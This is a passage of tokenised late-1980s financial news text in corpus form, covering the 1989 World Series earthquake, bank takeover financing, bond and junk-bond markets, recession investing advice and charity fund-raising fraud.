saw was commercial : Booths selling World Series commemorative stamps and dated postmarks were besieged by fledgling speculators who saw future profit in the items . +The traffic jam out of the park was monumental . +It took me a half-hour to move 10 feet from my parking spot in an outer lot to an aisle , and an additional hour to reach an inner roadway a half-block away . +The six-mile trip to my airport hotel that had taken 20 minutes earlier in the day took more than three hours . +At my hotel , the Westin , power was out , some interior plaster had broken loose and there had been water damage , but little else . +With Garpian randomness , a hotel across the street , the Amfac , had been hit harder : A large sheet of its concrete facade and several window balconies were torn away . +The Westin staff had , kindly , set out lighted candles in the ballroom , prepared a cold-cuts buffet and passed around pillows and blankets . +I fell asleep on the lobby floor , next to a man wearing a Chicago Cubs jacket . +I expected him to say , `` I told you so , '' but he already was snoring . +The journalistic consensus was that the earthquake made the World Series seem unimportant . +My response was that sports rarely are important , only diverting , and the quake merely highlighted that fact . +Should the rest of the Series be played at all ? +Sure . +The quake and baseball were n't related , unlike the massacre of athletes that attended the 1972 Olympics . +That heavily politicized event learned nothing from the horrifying experience , and seems doomed to repeat it . +Two ironies intrude . +This has been widely dubbed the BART Series , after the local subway line , and the Bay Bridge Series . +Flags fly at half-staff for the death of Bart Giamatti , the late baseball commissioner , and now the Bay Bridge lies in ruins . +A Series that was shaping up as the dullest since the one-sided Detroit-over-San Diego go of 1984 has become memorable in the least fortunate way . +Still , its edge is lost . +It now will be played mostly for the record , and should be wrapped up as quickly as possible , without `` off '' days . +And I will never again complain about a rainout . +The disarray in the junk-bond market that began last month with a credit crunch at Campeau Corp. has offered commercial banks a golden opportunity to play a greater role in financing billion-dollar takeovers . +But two big New York banks seem to have kicked those chances away , for the moment , with the embarrassing failure of Citicorp and Chase Manhattan Corp. to deliver $ 7.2 billion in bank financing for a leveraged buy-out of United Airlines parent UAL Corp . +For more than a decade , banks have been pressing Congress and banking regulators for expanded powers to act like securities firms in playing Wall Street 's lucrative takeover game , from giving mergers advice all the way to selling and trading high-yield junk bonds . +Those expanded powers reached their zenith in July when Bankers Trust New York Corp. provided mergers advice , an equity investment and bank loans for the $ 3.65 billion leveraged buy-out of Northwest Airlines parent NWA Inc . +One of the major selling points used by Los Angeles financier Alfred Checchi in getting the takeover approved was that the deal did n't include any junk bonds . +That was seen as an advantage in lobbying airline employees and Washington regulators for approval of the contested takeover . +All $ 3.35 billion in debt for the deal was supplied by banks . +Charles Nathan , co-head of mergers and acquisitions at Salomon Brothers Inc. , says it is natural for banks to try to expand beyond their bread-and-butter business of providing senior debt for buy-outs . +But the UAL collapse , he says , `` may tell you it 's not going to work that easily . '' +David Batchelder , a mergers adviser in La Jolla , Calif. , who aided Los Angeles investor Marvin Davis on the bids which put both UAL and NWA in play as takeover candidates this year , says that banks have been `` preparing to play a larger and larger role in acquisition financing . '' +Mr. Batchelder says that in the past , banks would normally have loaned 65 % of a total buy-out price , with the loans secured by the target company 's assets . +Another 20 % of the borrowed funds would come from the sale to investors of junk bonds , which offer less security and typically carry higher yields than bank loans . +Mr. Checchi 's purchase of NWA , Mr. Batchelder notes , `` was probably the most aggressive to date , '' with bank debt at 85 % of the purchase price . +But Mr. Batchelder says that Citicorp 's `` failure to deliver '' on its promise to raise the UAL bank debt for a labor-management buy-out group `` is very distressing to potential users of a ` highly-confident ' letter from commercial banks . '' +His client , Mr. Davis , used just such a letter from Citicorp in pursuing UAL ; Citicorp later agreed to work with a competing UAL buy-out group . +Executives of Citicorp and Chase Manhattan declined to comment on either the UAL situation , or on the changing nature of banks ' role in financing takeovers . +In the wake of Campeau 's problems , prices of junk bonds tumbled , throwing into doubt the ability of corporate acquirers to finance large takeovers with the help of junk bond sales . +Mark Solow , senior managing director at Manufacturers Hanover Trust Co. , says the falloff in junk bonds may yet open new business opportunities to banks in structuring takeovers . +But he warns that banks will have `` to have enough discipline '' not to make loans that are too risky . +In fact , Manufacturers Hanover said in its third-quarter earnings report that fees from syndicating loans to other banks dropped 48 % , to $ 21 million . +`` We did n't take part in a lot of deals because their credit quality was poor , '' says a bank spokesman . +James B. Lee , head of syndications and private placements at Chemical Banking Corp. , said he believes banks can still make a credible offer of one-stop shopping for takeover finance . +As evidence , he cites yesterday 's arrangement for the final financing of a $ 3 billion bid for American Medical International Inc. in which Chemical served as both the lead bank and an equity investor . +Beyond the current weakness in the junk bond market , banks have another advantage over investment banks in financing contested takeovers . +Arthur Fleischer Jr. , a takeover lawyer at Fried Frank Harris Shriver & Jacobson , notes that `` a political and emotional bias '' has developed against junk bonds . +One hostile bidder who deliberately avoided using junk bonds was Paramount Communications Inc. in its initial offer to acquire Time Inc. for $ 10.7 billion , or $ 175 a share . +A Paramount spokesman says that decision was based on the financial , not political , drawbacks of junk bonds . +But some observers believe Paramount Chairman Martin Davis wanted to avoid the possible taint of being perceived as a corporate raider in his controversial bid for Time . +In the end , Mr. Davis used junk bonds so that he could raise Paramount 's bid to $ 200 a share . +Some Monday-morning quarterbacks said the initial lower bid , without junk bonds , was a factor in his losing the company . +Time eluded Paramount by acquiring Warner Communications Inc . +The success of the NWA financing , and the failure of the UAL deal , also seem to highlight the important new role in takeover financing being played by Japanese banks . +Japanese banks accounted for 50 % of the NWA bank debt , according to a report by Transportation Secretary Samuel Skinner . +But it was broad-scale rejection by Japanese banks that helped seal the fate of the attempt to buy UAL . +Citicorp and Chase are attempting to put together a new , lower bid . +Takanori Mizuno , chief economist of the Institute for Financial Affairs Inc. , a Tokyo research center on finance and economics , says , `` The junk bond market became very jittery , and there 's a fear of a coming recession and the possible bankruptcy of LBO companies . +Harley-Davidson Inc. filed suit in federal court here , alleging that a group that holds 6.2 % of its stock made `` false , deceptive and misleading '' statements in recent regulatory filings and public announcements . +Harley-Davidson 's complaint claims that the group , led by investor Malcolm I. Glazer , violated securities laws by failing to disclose plans to purchase 15 % of the company 's shares outstanding and that when the required Hart-Scott-Rodino filing eventually was made , it did n't disclose the group 's alleged earlier violation of the so-called prior-notice requirements of the law . +Mr. Glazer could n't immediately be reached to comment . +But when Harley last week publicly questioned the legality of the group 's filing procedures , the Rochester , N.Y. , investor said `` we complied with every law , '' and he denied any wrongdoing . +The Glazer group said in a Securities and Exchange Commission filing in early October that it may seek a controlling interest in Harley-Davidson , or seek representation on the company 's board . +Harley has said it does n't intend to be acquired by the Glazer group or any other party . +Inland Steel Industries Inc. , battered by lower volume and higher costs , posted a 75 % drop in third-quarter earnings . +The nation 's fourth-largest steelmaker earned $ 18.3 million , or 43 cents a share , compared with $ 61 million , or $ 1.70 a share , a year earlier , when the industry was enjoying peak demand and strong pricing . +Sales fell to $ 981.2 million from $ 1.02 billion . +The earnings also mark a significant drop from the second quarter 's $ 45.3 million or $ 1.25 a share . +Moreover , the earnings were well below analysts ' expectations of about $ 1.16 a share . +In composite trading on the New York Stock Exchange , Inland closed yesterday at $ 35.875 a share , down $ 1 . +The company attributed the earnings drop to lower volume related to seasonal demand and the soft consumer durable market , especially in the automotive sector . +However , the company also lost orders because of prolonged labor talks in the second quarter . +Third-quarter shipments slipped 7 % from the year-ago period , and 17 % from this year 's second quarter . +Profit of steel shipped for the company 's steel segment slid to $ 26 a ton , from $ 66 a ton a year earlier and $ 57 a ton a quarter earlier . +Analysts noted that the disappointing results do n't reflect lower prices for steel products . +Charles Bradford , an analyst with Merrill Lynch Capital Markets , said higher prices for galvanized and cold-rolled products offset lower prices for bar , hot-rolled and structural steel . +Structural steel , which primarily serves the construction market , was especially hurt by a 15 % price drop , Mr. Bradford said . +The company said its integrated steel sector was also hurt by higher raw material , repair and maintenance , and labor costs . +The increased labor costs became effective Aug. 1 under terms of the four-year labor agreement with the United Steelworkers union . +Meanwhile , the company 's service center segment , which saw operating profit drop to $ 11.5 million from $ 30.7 million a year ago , experienced much of the same demand and cost problems , as well as start-up costs associated with a coil processing facility in Chicago and an upgraded computer information system . +Inland Chairman Frank W. Luerssen said the company 's short-term outlook is `` clouded by uncertainties in the economy and financial markets . '' +However , he noted that steel mill bookings are up from early summer levels , and that he expects the company to improve its cost performance in the fourth quarter . +In the first nine months , profit was $ 113 million , or $ 3.04 a share , on sales of $ 3.19 billion , compared with $ 204.5 million , or $ 5.76 a share , on sales of $ 3.03 billion , a year earlier . +The `` seismic '' activity of a financial market bears a resemblance to the seismic activity of the earth . +When things are quiet -LRB- low volatility -RRB- , the structures on which markets stand can be relatively inefficient and still perform their functions adequately . +However , when powerful forces start shaking the market 's structure , the more `` earthquake-resistant '' it is , the better its chance for survival . +America 's financial markets do not yet have all the required modern features required to make them fully `` aftershock-resistant . '' +Investors lack equal access to the markets ' trading arena and its information . +That structural lack is crucial because investors are the only source of market liquidity . +And liquidity is what markets need to damp quakes and aftershocks . +In today 's markets , specialists -LRB- on the New York Stock Exchange -RRB- and `` upstairs '' market makers -LRB- in the over-the-counter market -RRB- are the only market participants allowed to play a direct role in the price-determination process . +When they halt trading , all market liquidity is gone . +And when any component of the market -- cash , futures or options -- loses liquidity , the price discovery system -LRB- the way prices are determined -RRB- becomes flawed or is lost entirely for a time . +Last Friday the 13th -LRB- as well as two years ago this week -RRB- the markets became unlinked . +When that happened , `` seismic '' tremors of fear -- much like the shock waves created by an earthquake -- coursed through the market and increased the market 's volatility . +Lack of important , needed information can cause fear . +Fear is the father of panic . +Panic frequently results in irrational behavior . +And in financial markets , irrational behavior is sometimes translated into catastrophe . +When market tremors start , it is crucial that as much information about transaction prices and the supply-demand curve -LRB- buy and sell orders at various prices -RRB- be made available to all , not just to market makers . +Because of a lack of information and access , many investors -- including the very ones whose buying power could restore stability and damp volatility -- are forced to stand on the sidelines when they are most needed , because of their ignorance of important market information . +To add aftershock-damping power to America 's markets , a modern , electronic trading system should be implemented that permits equal access to the trading arena -LRB- and the information that would automatically accompany such access -RRB- by investors -- particularly institutional investors . +Contrary to some opinions , the trading activities of specialists and other market makers do not provide liquidity to the market as a whole . +What market makers provide is immediacy , a very valuable service . +Liquidity is not a service . +It is a market attribute -- the ability to absorb selling orders without causing significant price changes in the absence of news . +Market makers buy what investors wish to sell ; their business is reselling these unwanted positions as quickly as possible to other investors , and at a profit . +As a result , while any one customer may purchase immediacy by selling to a market maker -LRB- which is micro-liquidity for the investor -RRB- , the market as a whole remains in the same circumstances it was before the transaction : The unwanted position is still an unwanted position ; only the identity of the seller has changed . +In fact it can be argued that increasing capital commitments by market makers -LRB- a result of some post-1987 crash studies -RRB- also increases market volatility , since the more securities are held by market makers at any given time , the more selling pressure is overhanging the market . +In an open electronic system , any investor wishing to pay for real-time access to the trading arena through a registered broker-dealer would be able to see the entire supply-demand curve -LRB- buy and sell orders at each price -RRB- entered by dealers and investors alike , and to enter and execute orders . +Current quotations would reflect the combined financial judgment of all market participants -- not just those of intermediaries who become extremely risk-averse during times of crisis . +Investors and professionals alike would compete on the level playing field Congress sought and called a `` national market system '' -LRB- not yet achieved -RRB- almost 15 years ago when it passed the Securities Reform Act of 1975 . +Last Friday 's market gyrations did not result in severe `` aftershocks . '' +Were we smart or just lucky ? +I 'm not certain . +But I am sure we need to maximize our `` earthquake '' protection by making certain that our market structures let investors add their mighty shock-damping power to our nation 's markets . +Mr. Peake is chairman of his own consulting company in Englewood , N.J . +NOW YOU SEE IT , now you do n't . +The recession , that is . +The economy 's stutter steps leave investors wondering whether things are slowing down or speeding up . +So often are government statistics revised that they seem to resemble a spinning weather vane . +For the past seven years , investors have had the wind at their backs , in the form of a generally growing economy . +Some may have forgotten -- and some younger ones may never have experienced -- what it 's like to invest during a recession . +Different tactics are called for , as losing money becomes easier and making money becomes tougher . +For those investors who believe -- or fear -- that 1990 will be a recession year , many economists and money managers agree on steps that can be taken to lower the risks in a portfolio . +In a nutshell , pros advise investors who expect a slowdown to hold fewer stocks than usual and to favor shares of big companies in `` defensive '' industries . +A heavy dose of cash is prescribed , along with a heavier-than-usual allotment to bonds -- preferably government bonds . +It 's tempting to think these defensive steps can be delayed until a recession is clearly at hand . +But that may not be possible , because recessions often take investors by surprise . +`` They always seem to come a bit later than you expect . +When they do hit , they hit fast , '' says David A. Wyss , chief financial economist at the Data Resources division of McGraw-Hill Inc . +Though he himself does n't expect a recession soon , Mr. Wyss advises people who do that `` the best thing to be in is long that is , 20-year to 30-year Treasury bonds . '' +The reason is simple , Mr. Wyss says : `` Interest rates almost always decline during recession . '' +As surely as a seesaw tilts , falling interest rates force up the price of previously issued bonds . +They are worth more because they pay higher interest than newly issued bonds do . +That effect holds true for both short-term and long-term bonds . +But short-term bonds ca n't rise too much , because everyone knows they will be redeemed at a preset price fairly soon . +Long-term bonds , with many years left before maturity , swing more widely in price . +But not just any bonds will do . +Corporate bonds `` are usually not a good bet in a recession , '' Mr. Wyss says . +As times get tougher , investors fret about whether companies will have enough money to pay their debts . +This hurts the price of corporate bonds . +Also , he notes , `` most corporate bonds are callable . '' +That means that a corporation , after a specified amount of time has passed , can buy back its bonds by paying investors the face value -LRB- plus , in some cases , a sweetener -RRB- . +When interest rates have dropped , it makes sense for corporations to do just that ; they then save on interest costs . +But the investors are left stranded with money to reinvest at a time when interest rates are puny . +If corporate bonds are bad in recessions , junk bonds are likely to be the worst of all . +It 's an `` absolute necessity '' to get out of junk bonds when a recession is in the offing , says Avner Arbel , professor of finance at Cornell University . +`` Such bonds are very sensitive to the downside , and this could be a disaster . '' +Municipal bonds are generally a bit safer than corporate bonds in a recession , but not as safe as bonds issued by the federal government . +During an economic slump , local tax revenues often go down , raising the risks associated with at least some municipals . +And , like corporates , many municipal bonds are callable . +But a few experts , going against the consensus , do n't think bonds would help investors even if a recession is in the offing . +One of these is Jeffrey L. Beach , director of research for Underwood Neuhaus & Co. , a brokerage house in Houston , who thinks that `` we 're either in a recession or about to go into one . '' +What 's more , he thinks this could be a nastier recession than usual : `` Once the downturn comes , it 's going to be very hard to reverse . '' +Investors , he advises , `` should be cautious , '' holding fewer stocks than usual and also shunning bonds . +Because he sees a `` 5 % to 6 % base rate of inflation in the economy , '' he doubts that interest rates will fall much any time soon . +Instead , Mr. Beach says , investors `` probably should be carrying a very high level of cash , '' by which he means such so-called cash equivalents as money-market funds and Treasury bills . +Greg Confair , president of Sigma Financial Inc. in Allentown , Pa. , also recommends that investors go heavily for cash . +He is n't sure a recession is coming , but says the other likely alternative -- reignited inflation -- is just as bad . +`` This late in an expansion , '' the economy tends to veer off either into damaging inflation or into a recession , Mr. Confair says . +The Federal Reserve Board 's plan for a `` soft landing , '' he says , requires the Fed to navigate `` an ever-narrowing corridor . '' +A soft landing is n't something that can be achieved once and for all , Mr. Confair adds . +It has to be engineered over and over again , month after month . +He believes that the task facing Fed Chairman Alan Greenspan is so difficult that it resembles `` juggling a double-bladed ax and a buzz saw . '' +And , in a sense , that 's the kind of task individuals face in deciding what to do about stocks -- the mainstay of most serious investors ' portfolios . +It comes down to a question of whether to try to `` time '' the market . +For people who can ride out market waves through good times and bad , stocks have been rewarding long-term investments . +Most studies show that buy-and-hold investors historically have earned an annual return from stocks of 9 % to 10 % , including both dividends and price appreciation . +That 's well above what bonds or bank certificates have paid . +Moreover , because no one knows for sure just when a recession is coming , some analysts think investors should n't even worry too much about timing . +`` Trying to time the economy is a mistake , '' says David Katz , chief investment officer of Value Matrix Management Inc. in New York . +Mr. Katz notes that some economists have been predicting a recession for at least two years . +Investors who listened , and lightened up on stocks , `` have just hurt themselves , '' he says . +Mr. Katz adds that people who jump in and out of the stock market need to be right about 70 % of the time to beat a buy-and-hold strategy . +Frequent trading runs up high commission costs . +And the in-and-outer might miss the sudden spurts that account for much of the stock market 's gains over time . +Still , few investors are able to sit tight when they are convinced a recession is coming . +After all , in all five recessions since 1960 , stocks declined . +According to Ned Davis , president of Ned Davis Research Inc. in Nokomis , Fla. , the average drop in the Dow Jones Industrial Average was about 21 % , and the decrease began an average of six months before a recession officially started . +By the time a recession is `` official '' -LRB- two consecutive quarters of declining gross national product -RRB- , much of the damage to stocks has already been done - and , in the typical case , the recession is already half over . +About six months before a recession ends , stocks typically begin to rise again , as investors anticipate a recovery . +The average recession lasts about a year . +Unfortunately , though , recessions vary enough in length so that the average ca n't reliably be used to guide investors in timing stock sales or purchases . +But whatever their advice about timing , none of these experts recommend jettisoning stocks entirely during a recession . +For the portion of an investor 's portfolio that stays in stocks , professionals have a number of suggestions . +Mr. Katz advocates issues with low price-earnings ratios -- that is , low prices in relation to the company 's earnings per share . +`` Low P-E '' stocks , he says , vastly outperform others `` during a recession or bear market . '' +In good times , he says , they lag a bit , but overall they provide superior performance . +Prof. Arbel urges investors to discard stocks in small companies . +Small-company shares typically fall more than big-company stocks in a recession , he says . +And in any case , he argues , stocks of small companies are `` almost as overpriced as they were Sept. 30 , 1987 , just before the crash . '' +For example , Mr. Arbel says , stocks of small companies are selling for about 19 times cash flow . +-LRB- Cash flow , basically earnings plus depreciation , is one common gauge of a company 's financial health . -RRB- +That ratio is dangerously close to the ratio of 19.7 that prevailed before the 1987 stock-market crash , Mr. Arbel says . +And it 's way above the ratio -LRB- 7.5 times cash flow -RRB- that bigger companies are selling for . +Another major trick in making a portfolio recession-resistant is choosing stocks in `` defensive '' industries . +Food , tobacco , drugs and utilities are the classic examples . +Recession or not , people still eat , smoke , and take medicine when they 're sick . +George Putnam III , editor of Turnaround Letter in Boston , offers one final tip for recession-wary investors . +`` Keep some money available for opportunities , '' he says . +`` If the recession does hit , there will be some great investment opportunities just when things seem the blackest . '' +Mr. Dorfman covers investing issues from The Wall Street Journal 's New York bureau . +Some industry groups consistently weather the storm better than others . +The following shows the number of times these industries outperformed the Standard & Poor 's 500-Stock Index during the first six months of the past seven recessions . +Bond prices posted strong gains as investors went on a bargain hunt . +But while the overall market improved , the new-issue junk-bond market continued to count casualties , even as junk-bond prices rose . +Yesterday , Prudential-Bache Securities Inc. said it postponed a $ 220 million senior subordinated debenture offering by York International Corp . +And Donaldson , Lufkin & Jenrette Securities Corp. scrambled to restructure and improve the potential returns on a $ 475 million debenture offering by Chicago & North Western Acquisition Corp. that was still being negotiated late last night . +The issue by Chicago & North Western is one of the so-called good junk-bond offerings on the new-issue calendar . +Some analysts said the restructuring of the railroad concern 's issue shows how tough it is for underwriters to sell even the junk bonds of a company considered to be a relatively good credit risk . +Since last week 's junk-bond market debacle , many new issues of high-yield , high-risk corporate bonds have either been scaled back , delayed or dropped . +On Wednesday , Drexel Burnham Lambert Inc. had to slash the size of Continental Airlines ' junk-bond offering to $ 71 million from $ 150 million . +Salomon Brothers Inc. has delayed Grand Union Co. 's $ 1.16 billion junk-bond offering while it restructures the transaction . +Last week , the Grand Union offering was sweetened to include warrants that allow bondholders to acquire common stock . +Prudential-Bache said the York issue was delayed because of market conditions . +`` Everything is going through firehoops right now , and -LCB- Chicago & North Western -RCB- is no exception , '' said Mariel Clemensen , vice president , high-yield research , at Citicorp . +Portfolio managers say sweeteners like equity kickers and stricter protective covenants may increasingly be required to sell junk-bond deals . +Dan Baldwin , managing director of high-yield investments at Chancellor Capital Management , said the Chicago & North Western offering was restructured in part because `` several large insurance buyers right now are demanding equity as part of the package . +If you 're going to take the risk in this market , you want something extra . '' +Mr. Baldwin likes the offering . +But several mutual-fund managers , nervous about the deteriorating quality of their junk-bond portfolios and shy about buying new issues , said they 're staying away from any junk security that is n't considered first rate for its class . +While they consider the Chicago & North Western issue to be good , they do n't view it as the best . +To lure buyers to the Chicago & North Western bonds , portfolio managers said Donaldson Lufkin sweetened the transaction by offering the bonds with a resettable interest rate and a 10 % equity kicker . +The bonds are expected to have a 14 1\/2 % coupon rate . +The equity arrangement apparently would allow bondholders to buy a total of 10 % of the stock of CNW Corp. , Chicago & North Western 's parent company . +Donaldson Lufkin declined to comment on the restructuring . +According to some analysts familiar with the negotiations , the 10 % of equity would come directly from Donaldson Lufkin and a fund affiliated with the investment bank Blackstone Group , which would reduce their CNW equity holdings by 5 % each . +That would leave the Blackstone fund with a 60 % stake and Donaldson Lufkin with 15 % . +Despite the problems with new issues , high-yield bonds showed gains in the secondary , or resell , market . +Junk bonds ended about one-half point higher with so-called high-quality issues from RJR Capital Holdings Corp. and Petrolane Gas Service Limited Partnership rising one point . +In the Treasury market , the benchmark 30-year bond rose seven-eighths point , or $ 8.75 for each $ 1,000 face amount . +The gain reflects fresh economic evidence that inflation is moderating while the economy slows . +That raised hopes that interest rates will continue to move lower . +The Labor Department reported that consumer prices rose just 0.2 % last month , slightly lower than some economists had expected . +But there were also rumors yesterday that several Japanese institutional investors were shifting their portfolios and buying long-term bonds while selling shorter-term Treasurys . +Short-term Treasury securities ended narrowly mixed , with two-year notes posting slight declines while three-year notes were slightly higher . +Yesterday , the Fed executed four-day matched sales , a technical trading operation designed to drain reserves from the banking system . +The move was interpreted by some economists as a sign that the Fed does n't want the federal funds rate to move any lower than the 8 3\/4 % at which it has been hovering around during the past week . +The closely watched funds rate is what banks charge each other on overnight loans . +It is considered an early signal of Fed credit policy changes . +`` The fact that they did four-day matched sales means they are not in a mood to ease aggressively . +They are telling us that -LCB- 8 3\/4 % -RCB- is as low as they want to see the fed funds rate , '' said Robert Chandross at Lloyds Bank PLC . +Treasury Securities +The benchmark 30-year bond was quoted late at a price of 101 25\/32 to yield 7.955 % , compared with 100 29\/32 to yield 8.032 % Wednesday . +The latest 10-year notes were quoted late at 100 9\/32 to yield 7.937 % , compared with 99 26\/32 to yield 8.007 % . +Short-term rates rose yesterday . +The discount rate on three-month Treasury bills rose to 7.56 % from 7.51 % Wednesday , while the rate on six-month bills rose to 7.57 % from 7.53 % . +Meanwhile , the Treasury sold $ 9.75 billion of 52-week bills yesterday . +The average yield on the bills was 7.35 % , down from 7.61 % at the previous 52-week bill auction Sept. 21 . +Yesterday 's yield was the lowest since 7.22 % on July 27 . +Here are details of the auction : +Rates are determined by the difference between the purchase price and face value . +Thus , higher bidding narrows the investor 's return while lower bidding widens it . +The percentage rates are calculated on a 360-day year , while the coupon-equivalent yield is based on a 365-day year . +Corporate Issues +Junk bond price climbed yesterday despite skittishness in the new-issue market for high-yield securities . +Dealers said junk bond issues on average were up by 1\/4 to 1\/2 point with so-called quality issues from RJR Capital Holdings Corp. and Petrolane Gas Service Limited Partnership posting one-point gains . +Petrolane Gas Service 's 13 1\/4 % debentures traded at 102 , after trading around par earlier this week , and RJR 's 13 1\/2 % subordinated debentures of 2001 were at 101 5\/8 after trading at below par earlier this week . +Investment-grade bonds were unchanged . +Municipals +Activity was brisk in the high-grade general obligation market , as a series of sell lists hit the Street and capped upward price movement in the sector . +Traders estimated that more than $ 140 million of high-grade bonds was put up for sale via bid-wanted lists circulated by a handful of major brokers . +There was speculation that the supply was coming from a commercial bank 's portfolios . +According to market participants , the bonds were met with decent bids , but the volume of paper left high grades in the 10-year and under maturity range unchanged to 0.05 percentage point higher in yield . +Away from the general obligation sector , activity was modest . +Long dollar bonds were flat to up 3\/8 point . +New Jersey Turnpike Authority 's 7.20 % issue of 2018 was up 3\/8 at 98 3\/8 bid to yield about 7.32 % , down 0.03 percentage point . +The debt of some California issuers pulled off lows reached after Tuesday 's massive earthquake , although traders said market participants remained cautious . +California expects to rely on federal emergency funds and its $ 1.06 billion in general fund reserves to meet the estimated $ 500 million to $ 1 billion in damages resulting from the quake , according to a state official . +It 's also unclear precisely how the state will rebuild its reserve , said Cindy Katz , assistant director of California 's department of finance , although she noted that a bond offering for that purpose is n't anticipated . +Meanwhile , new issuance was slow . +The largest sale in the competitive arena was a $ 55.7 million issue of school financing bonds from the Virginia Public School Authority . +A balance of $ 25.8 million remained in late order-taking , according to the lead manager . +Mortgage-Backed Securities +Mortgage securities generally ended 6\/32 to 9\/32 point higher , but lagged gains in the Treasury market because of a shift in the shape of the Treasury yield curve and rumored mortgage sales by thrifts . +Premium Government National Mortgage Association securities with coupon rates of 13 % and higher actually declined amid concerns about increased prepayments because of a plan being considered by Congress to speed the refinancing of government-subsidized mortgages . +Ginnie Mae 13 % securities were down about 1\/4 at 109 30\/32 . +If the refinancing plan clears Congress , there could be fairly heavy prepayments on the premium securities , hurting any investor paying much above par for them . +In the current-coupon sector , a shift in the Treasury yield curve resulting from the better performance of long-dated issues over short-dated securities hurt major coupons because it will become more difficult to structure new derivative securities offerings . +Ginnie Mae 9 % securities ended at 98 6\/32 , up 9\/32 , and Federal Home Loan Mortgage Corp. 9 % securities were at 97 10\/32 , up 6\/32 . +The Ginnie Mae 9 % issue was yielding 9.42 % to a 12-year average life assumption , as the spread above the Treasury 10-year note widened 0.03 percentage point to 1.48 . +While Remic issuance may slow in the coming days because of the shift in the Treasury yield curve , underwriters continued to crank out new real estate mortgage investment conduits structured when the yield curve was more favorable . +Two new Remics totaling $ 900 million were announced by Freddie Mac yesterday . +Foreign Bonds +British government bonds ended little changed as investors awaited an economic policy address last night by Chancellor of the Exchequer Nigel Lawson . +The Treasury 11 3\/4 % bond due 2003\/2007 was down 2\/32 at 111 29\/32 to yield 10.09 % , while the 11 3\/4 % notes due 1991 were unchanged at 98 19\/32 to yield 12.94 % . +In Japan , the bellwether No. 111 4.6 % bond of 1998 ended off 0.03 at 95.72 , to yield 5.32 % , and in West Germany , the 7 % benchmark issue due October 1999 ended 0.05 point lower at 99.85 to yield 7.02 % . +THE PANHANDLER approaches , makes his pitch . +It may be straightforward -- he wants money for food -- or incredibly convoluted ; his sister is at this very moment near death in Hoboken , he has lost his wallet and has only $ 1.22 in change to put toward a bus ticket costing $ 3.83 , and wo n't you give him the difference ? +No ? +Well , how about a loan , he 'll take your name and address ... +Figuring that their money would more likely go toward a bottle of Night Train Express , most people have little trouble saying no to propositions like this . +But healthy skepticism vanishes when they are solicited by an organized charity to help fight cancer , famine , child abuse , or what have you . +Most see little reason to doubt that their cash will go toward these noble goals . +But will it ? +In a distressing number of cases , no . +In fact , the donors sometimes might be better off giving the money to the panhandler : at least he has no overhead , and he might even be telling the truth . +Last year , more than $ 100 billion was donated to the nation 's 400,000 charities . +While the vast bulk of it was indeed spent by reputable organizations on the good works it was raised for , it 's equally true that a sizable hunk was consumed in `` expenses '' claimed by other operators , including fraudulent expenses . +In many cases the costs claimed were so high that only a dribble of cash was left for the purported beneficiaries . +It 's impossible to say exactly how much of the total charity intake is devoured by stratospheric fund-raising costs , high-living operators , and downright fraud . +But the problem clearly is widespread and persistent . +State law enforcers can barely keep up with charity scams , and reports from watchdog groups such as the Council of Better Business Bureaus are not encouraging . +The Philanthropic Advisory Service of the BBB reviews hundreds of new charities every year , measuring them against minimum standards for accountability ; for accuracy and honesty in solicitation ; and for percentage of funds actually going to work for which the charity was supposedly established . +The Service figures at least half of the money taken in should be spent on program . +Roughly a third of the charities reviewed flunk the test . +Which , it should be added , does n't prevent the charities from raking in a lot of money anyway . +Without a microscope and a subpoena , it 's often hard to sort out worthwhile causes from ripoffs if all you 've got to go on is the solicitation itself . +On this basis , `` there 's no way the average person can know a good charity from a bad one , '' says David Ormstedt , an assistant attorney general in Connecticut . +`` A lot of donors just get taken . '' +Including those , he contends , who put about $ 1 million into the kitty for the Connecticut Association of Concerned Veterans and the Vietnam Veterans Service Center . +The state has sued these charities in state court , complaining that much of the money was grossly misspent ; 82 % , says Mr. Ormstedt , went to fund raisers and most of the rest to the people who ran the charities and to their relatives -- for fur coats , trips to Florida , Lucullan restaurant tabs . +The telephone number for the charity in Shelton , Conn. , has been disconnected , and the former officials could n't be located . +Running a charity does cost money , but reputable organizations manage to get the lion 's share of donations out to where they are really needed . +The Arthritis Foundation , the American Cancer Society and the United Way of America all say that they spend roughly 90 % of their income on programs , not overhead . +With some other charities , however , it s the other way around . +The fledgling National Children 's Cancer Society , for example , took in $ 2.5 million last year to finance bone-marrow transplants for children . +By the time it paid its expenses it only had $ 120,000 left -- not enough to treat even one child . +The state of Illinois is suing the charity for fraud in Chicago , along with Telesystems Marketing Inc. , its Houston-based fund raiser . +Both deny wrongdoing . +The charity admits spending a lot on fund raising , but says that was necessary to establish a donor base it can tap at much lower cost in years to come . +Michael Burns , president of Telesystems , says his concern has only benefited from the publicity surrounding the case , noting that three other charities have signed on as clients because they were impressed with the amount he raised for National Children 's . +Meanwhile , a state court judge has allowed the charity to go on soliciting funds . +Enforcers ca n't put charities out of business simply because they spend the lion 's share of their income on fund raising . +State laws previously used as a yardstick minimum percentages of income -- usually half -- that had to be spent on the program rather than overhead , but these have been overturned by the U.S. Supreme Court . +It has ruled that such laws might work to stifle fund raising , which would amount to limiting the charities ' first-amendment right to freedom of expression . +This puts upon enforcers the burden of proving outright fraud or misrepresentation , and such actions have been brought against hundreds of charities recently . +The attorney general 's office in Connecticut alone has put seven of them out of business over the past couple of years , and the enforcement drive is continuing there and elsewhere . +In making cases , the authorities frequently zero in on alleged misrepresentations made by the charities ' fund raisers . +Illinois , for instance , currently has under investigation 10 of the 30 companies drumming up funds for charities soliciting there . +Enforcers pay special attention to operators using sweepstakes prizes as an additional inducement to give . +Attorneys general in several states , including Illinois , are already suing Watson & Hughey Co. , an Alexandria , Va.-based outfit that they say has used deceptive sweepstakes ads to solicit donations for the American Heart Disease Foundation and the Cancer Fund of America . +According to the Illinois attorney general 's suit , Watson & Hughey sent mailings indicating that recipients were guaranteed cash prizes , and could win up to an additional $ 1,000 on top of them , if they contributed as little as $ 7 . +But the total value of the prizes was only $ 5,000 and most `` winners '' will receive just 10 cents , according to the attorney general 's office . +The suit is still pending in Illinois state court . +Watson & Hughey has denied the allegations in court ; officials decline to comment further . +While they can target some of the most obvious miscreants , enforcers concede that they are only scratching the surface . +There are so many cunning ploys used by so many dubious operators , they say , that it is probably impossible to stop them all . +One maneuver : the `` public education '' gambit . +The solicitation material indicates that donations will go toward a campaign alerting and informing the public about some health or other issue . +What it does n't say is that the entire `` campaign '' may be the fund-raising letter itself . +`` All too often this will merely be a statement on the solicitation such as , ` Do n't smoke ! ' or ` Wear suntan lotion , ' `` says William Webster , attorney general of Missouri . +`` By putting these pithy statements on the solicitations , hundreds of thousands of dollars 